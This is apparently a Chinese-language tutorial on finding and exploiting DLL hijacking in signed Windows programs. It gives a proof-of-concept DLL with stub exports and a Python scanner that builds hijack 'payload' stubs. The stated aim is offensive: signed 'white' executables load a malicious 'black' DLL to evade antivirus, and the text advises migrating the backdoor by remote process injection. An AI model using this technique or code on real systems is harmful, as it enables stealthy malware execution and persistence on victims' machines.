DLL劫持挖掘
参考
介绍
dll文件 就是动态链接库文件,里面有很多函数。exe 如果需要使用这些函数就需要去加载dll文件。dll劫持就是把这个dll文件给替换掉,替换成我们的恶意dll文件。exe在加载恶意dll后就会运行恶意代码。
所以我们需要满足几个条件
- dll名称要正确
- dll与exe在同一个文件夹内
(这个条件不是绝对的,exe在加载dll文件时有加载目录顺序)
- dll的导出表要正确
exe文件有一个导入表,导入表中包含了需要加载哪些dll的哪些函数 dll文件有一个导出表,导出表中显示了它能提供哪些函数 只有导入表和导出表相对应的时候,这个dll文件才能被正确加载
怎么才能让dll文件的导出表是正确的呢
就需要去查看exe的导入表
工具参考路径
Bash
D:\Program Files\Microsoft Visual Studio\2022\Professional\VC\Tools\MSVC\14.38.33130\bin\Hostx64\x64
dumpbin /imports phpstudy_pro.exe
这样就能查看使用了哪些dll文件的哪些函数,但是如下图所示,dll函数中存在问号,如果dll中有这种函数,就不使用这个dll。

image.png
正常的使用的dll文件如下图所示,会是正常的函数名
image.png
创建dll
创建DLL文件,启动Visual Studio并创建一个新项目。在给出的项目模板中,选择 Dynamic-Link Library (DLL)
选项
image.png
接下来,选择保存项目文件的位置。 保存项目后,应该会出现 dllmain.cpp
以及默认的 DLL 代码。
image.png
在这里我们只关注函数名称,至于它的返回值是什么类型和函数体是什么样的,我们不关心

image.png
// dllmain.cpp : 定义 DLL 应用程序的入口点。
// 包含预编译头文件(如果使用了)
#include "pch.h"
// 包含必要的头文件
#include <iostream>
// 在此处定义导出函数声明,这些函数将在DLL中被导出
extern "C" __declspec(dllexport) int JLI_GetStdArgc() { return 0; }
extern "C" __declspec(dllexport) int JLI_GetStdArgs() { return 0; }
extern "C" __declspec(dllexport) int JLI_Launch() { return 0; }
extern "C" __declspec(dllexport) int JLI_MemAlloc() { return 0; }
extern "C" __declspec(dllexport) int JLI_CmdToArgs() { return 0; }
// DLL入口点函数
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
// 根据调用原因进行不同的处理
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// 当进程附加到DLL时执行的代码
MessageBoxA(NULL, "Success!!!", "DLL Hijacking", MB_OK); // 显示一个消息框
exit(0); // 退出进程
break;
case DLL_THREAD_ATTACH:
// 当线程附加到DLL时执行的代码
break;
case DLL_THREAD_DETACH:
// 当线程从DLL分离时执行的代码
break;
case DLL_PROCESS_DETACH:
// 当进程从DLL分离时执行的代码
break;
}
return TRUE; // 返回TRUE表示初始化成功
}
然后这里的话相当于写C语言的Main函数
C
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBoxA(NULL, "Success!!!", "DLL Hijacking", MB_OK);
exit(0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
当dll文件刚被加载的时候,会首先调用这里的代码

image.png
为什么要退出程序呢?因为我们这个dll是一个错误的dll,exe加载了这个错误的dll后可能会崩溃或卡住,这样的话就会有一些嫌疑特征。我们就主动退出程序。
然后还有一些条件,因为我们做dll劫持是通过白+黑进行免杀,所以我们的白文件要足够的白。
- 选择要替换的dll,他最好不是一个微软的dll。如果你的dll名称和微软的dll文件名称相同的话就可能被微软杀掉。
- 还有就是exe要有真实数字签名,这样文件足够白,但是我们不能自己打一个签名,如果直接打一个假的数字签名的话,那他会被Windows default 杀掉
- EXE的位数要正确
dll Main 函数最好设置为进程迁移的操作,就是把后门迁移到其他白进程,因为这个进程加载了错误的dll文件会崩溃,那我们的后门就关闭了,那我们可以通过远程进程注入的方式把进程迁移到其他白程序,如果你要使用远程进程注入的话,那你只能使用一个64位的程序注入64位的程序
所以dll程序怎么进行手工挖掘呢
可以下载第三方exe,把它安装在虚拟机当中,然后找到它的安装目录,安装目录里通常会有很多exe文件,可以挨个看exe符不符合这些条件。可以看exe文件的导入表,有没有使用非微软的dll,并且函数都是正常的函数,然后就可以对这个exe进行dll劫持。然后就可以编写一个dll文件,把导出文件定义好,就可以生成一个dll文件。
也可以通过 Process Monitor来进行挖掘
查看应用程序位数和数字签名
sigcheck64 phpstudy_pro.exe

image.png
然后Publisher 字段能看到应用程序有没有数字签名
Publisher: n/a 代表没有数字签名
image.png
DLL 劫持 自动化挖掘
https://github.com/HexNy0a/SkyShadow
import re
import os
import sys
def GetPayload(path, exeName):
hijackableDLLs = {}
exeFullPath = path + '/' + exeName
exeSize = os.path.getsize(exeFullPath)
if exeSize > 10 * 1024 * 1024: # 10MB
return
# 获取导入表
imports = os.popen('dumpbin /imports "' + exeFullPath + '"').read()
# 匹配 DLL 信息
dllsInfo = re.findall('([\S]+\.[dlDL]{3})[\s\S]+?\n\n([\s\S]+?\n)\n', imports)
for dllInfo in dllsInfo:
dllName = dllInfo[0]
if '?' not in dllInfo[1] and dllName.lower() not in MicrosoftDlls:
functionNames = re.findall('[0-9A-F][\s]([\S]+)\n', dllInfo[1])
hijackableDLLs[dllName] = functionNames # {'xxx.dll': ['func1', 'func2', ...], ...}
# 获取 EXE 信息
if hijackableDLLs:
print(exeFullPath)
# 文件大小
if exeSize > 1024 * 1024:
exeSize = str(round(exeSize/(1024 * 1024), 2)) + 'MB'
elif exeSize > 1024:
exeSize = str(round(exeSize/1024, 2)) + 'KB'
else:
exeSize = str(round(exeSize, 2)) + 'B'
# 位数
sigcheck = os.popen('sigcheck64 -accepteula "' + exeFullPath + '"').read()
if '64-bit' in sigcheck:
bit = 'x64'
elif '32-bit' in sigcheck:
bit = 'x86'
# 数字签名
if re.search('Publisher:[\s]+n/a', sigcheck):
publisher = ' '
payload = [bit + ' ' + exeSize + ' 无数字签名 ' + exeName]
else:
publisher = '数字签名 '
payload = [bit + ' ' + exeSize + ' 有数字签名 ' + exeName]
# 生成导出函数
for dllName, functionNames in hijackableDLLs.items():
payload += ['\n' + dllName]
for functionName in functionNames:
payload += ['extern "C" __declspec(dllexport) int ' + functionName + '() { return 0; }']
# 写入文件
fileName = bit + ' ' + exeSize + ' ' + publisher + exeName
try:
os.mkdir('Payload')
except:
pass
try:
os.mkdir('Payload/' + fileName)
except:
pass
with open('Payload/' + fileName + '/' + fileName + '.txt', 'w') as f:
f.write('\n'.join(payload))
os.popen('copy "' + exeFullPath.replace('/', '\\') + '" "' + os.getcwd() + '/Payload/' + fileName + '"')
# 收集微软 DLL 递归变量文件夹 收集dll
def Scan(path, suffix):
try:
for fileName in os.listdir(path):
if os.path.isdir(path + '/' + fileName): # 文件夹
Scan(path + '/' + fileName, suffix)
elif fileName[-4:] == suffix:
if fileName[-4:] == '.dll': # DLL
print(fileName)
MicrosoftDlls.add(fileName.lower())
elif fileName[-4:] == '.exe': # EXE
GetPayload(path, fileName) # 生成 Payload
except: # 文件夹无法打开
pass
if __name__ == '__main__':
if len(sys.argv) == 2:
# 收集微软 DLL
if os.path.exists('微软 DLL.txt'):
with open('微软 DLL.txt','r') as f:
MicrosoftDlls = f.read().splitlines() # ['ntdll.dll', 'kernel32.dll', ...]
else:
MicrosoftDlls = set() # {'ntdll.dll', 'kernel32.dll', ...}
Scan('C:/Windows/System32', '.dll')
Scan('C:/Windows/SysWOW64', '.dll')
Scan('C:/Windows/WinSxS', '.dll')
with open('微软 DLL.txt', 'w') as f:
f.write('\n'.join(MicrosoftDlls))
# 扫描 EXE
Scan(sys.argv[1], '.exe') ## 对指导路径下的文件进行扫描,看是否符合dll 劫持条件
else:
print('Usage: python SkyShadow.py "D:/"')

image.png

image.png
然后生成替换放到同一目录即可